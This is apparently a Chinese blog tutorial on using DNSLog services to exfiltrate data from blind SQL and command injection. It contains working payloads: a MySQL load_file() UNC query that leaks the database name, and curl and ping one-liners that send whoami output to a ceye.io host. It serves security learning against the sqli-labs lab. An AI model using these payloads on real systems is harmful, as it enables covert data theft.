利用DNSLog实现无回显注入

简介: 测试一些网站的时候,一些注入都是无回显的,我们可以写脚本来进行盲注,但有些网站会ban掉我们的ip,这样我们可以通过设置ip代理池解决,但是盲注往往效率很低,所以产生了DNSlog注入

DNSLOG的原理


DNS的解析是递归与迭代相结合的,下面给出了当我们访问www.cloudcrowd.com.cn时,DNS的解析过程示意图。



其中,红色部分是可控的。我们只需要搭建一个红色部分的DNS服务器,并将要盲打或盲注的回显,放到自己域名的二级甚至三级域名上去请求,就可以通过DNS解析日志来获取到它们。


DNSLOG工具


如果有自己的服务器和域名,可以自建一个这样的平台,直接使用BugScan团队开源的工具搭建即可:

https://github.com/BugScanTeam/DNSLog。


另外我们也可以使用在线平台:

http://admin.dnslog.link。

http://ceye.io。

https://dnslog.io/      

 

场景一:SQL盲注回显

原理:


不论是bool型盲注还是时间型盲注,都需要频繁的跑请求才能够获取数据库中的值,在现代WAF的防护下,很可能导致IP被ban。我们可以结合DNSLOG完美快速的将数据取出。如遇到MySql的盲注时,可以利用内置函数load_file()来完成DNSLOG。load_file()

不仅能够加载本地文件,同时也能对诸如\\www.test.com这样的URL发起请求。dnslog回显只能用于windows系统,原理就是'\\\\'代表Microsoft Windows通用命名规则(UNC)的文件和目录路径格式利用任何以下扩展存储程序引发DNS地址解析。双斜杠表示网络资源路径多加两个\就是转义了反斜杠。(UNC格式

\\servername\sharename ,其中 servername 是服务器名,sharename 是共享资源名)


用法:


在mysql命令行执行:select load_file('\\\\afanti.xxxx.ceye.io\\aaa');其中afanti就是要注入的查询语句


查看平台,dnsLog被记录下来。


举例:

以sql-labs第五关为例

payload:

' and if((select load_file(concat('\\\\',(select database()),'.xxxx.dnslog.io\\xxx'))),1,0) --+

http://192.168.43.128/sqli-labs-master/Less-5/?id=1%27%20and%20if((select%20load_file(concat(%27\\\\%27,(select%20database()),%27.g8r7q.l.dnslog.io\\abc%27))),1,0)%20--+

查看dnslog日志,发现security数据库被查询出来:

场景二:命令执行盲注回显

当 ping 一个域名时会对其进行一个递归 DNS 查询的过程,这个时候就能在后端获取到 DNS 的查询请求

curl http://haha.xxx.ceye.io/`whoami`
ping `whoami`.xxxx.ceye.io
Windows
ping %USERNAME%.xxx.ceye.io

 

 

除了上面详细列出的例子之外,DNSLOG还可以利用在诸如Blind XSS、Blind XXE和Blind SSRF之类的漏洞上,原理是一样的,这样就不演示了。

 

参考:

https://www.freebuf.com/column/184587.html

https://www.cnblogs.com/afanti/p/8047530.html


永远相信 永远热爱


相关文章
|
XML 移动开发 小程序
抖音小程序开发 唤起收银台支付(可以选择支付宝APP支付或微信H5支付)
字节跳动也开放了小程序给商家接入,可以在旗下APP如抖音、今日头条、今日头条极速版等应用中即点即用,基于庞大的数亿用户量为其引流,帮助商家获取用户流量,销售商品,其模式和微信小程序差不多。
2168 0
抖音小程序开发 唤起收银台支付(可以选择支付宝APP支付或微信H5支付)
|
关系型数据库 MySQL Java
centos7安装mysql教程及Navicat平替软件
【8月更文挑战第17天】本教程详述CentOS 7上安装MySQL的过程。首先确保移除任何预装的MySQL组件,然后通过wget获取并安装MySQL的YUM源。可以选择安装特定版本如5.7或8.0。安装MySQL服务器后,启动服务并查找初始密码。登录MySQL后应立即更改密码,并可根据需要设置远程访问权限。此外,还推荐使用免费开源的DBeaver作为数据库管理工具,提供了安装步骤以方便管理和操作MySQL数据库。
398 3
|
数据库 数据安全/隐私保护 Python
Python 教程之 Django(3)表格
Python 教程之 Django(3)表格
544 0
|
Ubuntu 网络协议 数据安全/隐私保护
【Ubuntu】sudo apt-get update 无法解析域名(亲测有效)
在Ubuntu 18.04系统中,用户在执行sudo apt-get update时遇到“无法解析域名‘ip’”的错误。经分析,问题源于之前设置的网络代理配置未完全清除。解决方案是找到并重命名/etc/apt/apt.conf.d下的proxy.conf文件,使其不再生效。操作后,sudo apt-get update命令恢复正常,问题得到完美解决。
3490 4
【Ubuntu】sudo apt-get update 无法解析域名(亲测有效)
|
安全 API 数据中心
Terraform 系列 -Terraform 简介
Terraform 系列 -Terraform 简介
|
存储 SQL 监控
一文解读如何落地企业级云上日志审计方案
近年来,随着云计算的广泛应用和企业上云的深度普及,许多企业或个人用户将各种日志托管在云上进行留存,从而进行查询、审计等操作。什么是日志审计?为什么要做日志审计?企业如何落地云上日志审计方案?带着这些问题出发,本文将以阿里云日志服务(SLS)旗下的日志审计服务为视角切入,带领读者从当今网络安全形势和法律法规要求出发,解读云计算背景下,如何构建、运行、实践一个标准的企业级云上审计方案,从而更好地保障企业或组织的云上资产、云上数据的安全,确保企业业务持续安全稳定地运行。
|
敏捷开发 持续交付 项目管理
【软件工程】走近演化过程模型:软件开发的不断进化之路
【软件工程】走近演化过程模型:软件开发的不断进化之路
|
编解码 人工智能 对象存储
EAS
EAS
495 3
|
存储 算法 安全
开源项目|Go 开发的一款分布式唯一 ID 生成系统
开源项目|Go 开发的一款分布式唯一 ID 生成系统
519 0
开源项目|Go 开发的一款分布式唯一 ID 生成系统
|
Java 数据安全/隐私保护
SpringBoot使用jasypt进行配置文件加密
SpringBoot使用jasypt进行配置文件加密
944 1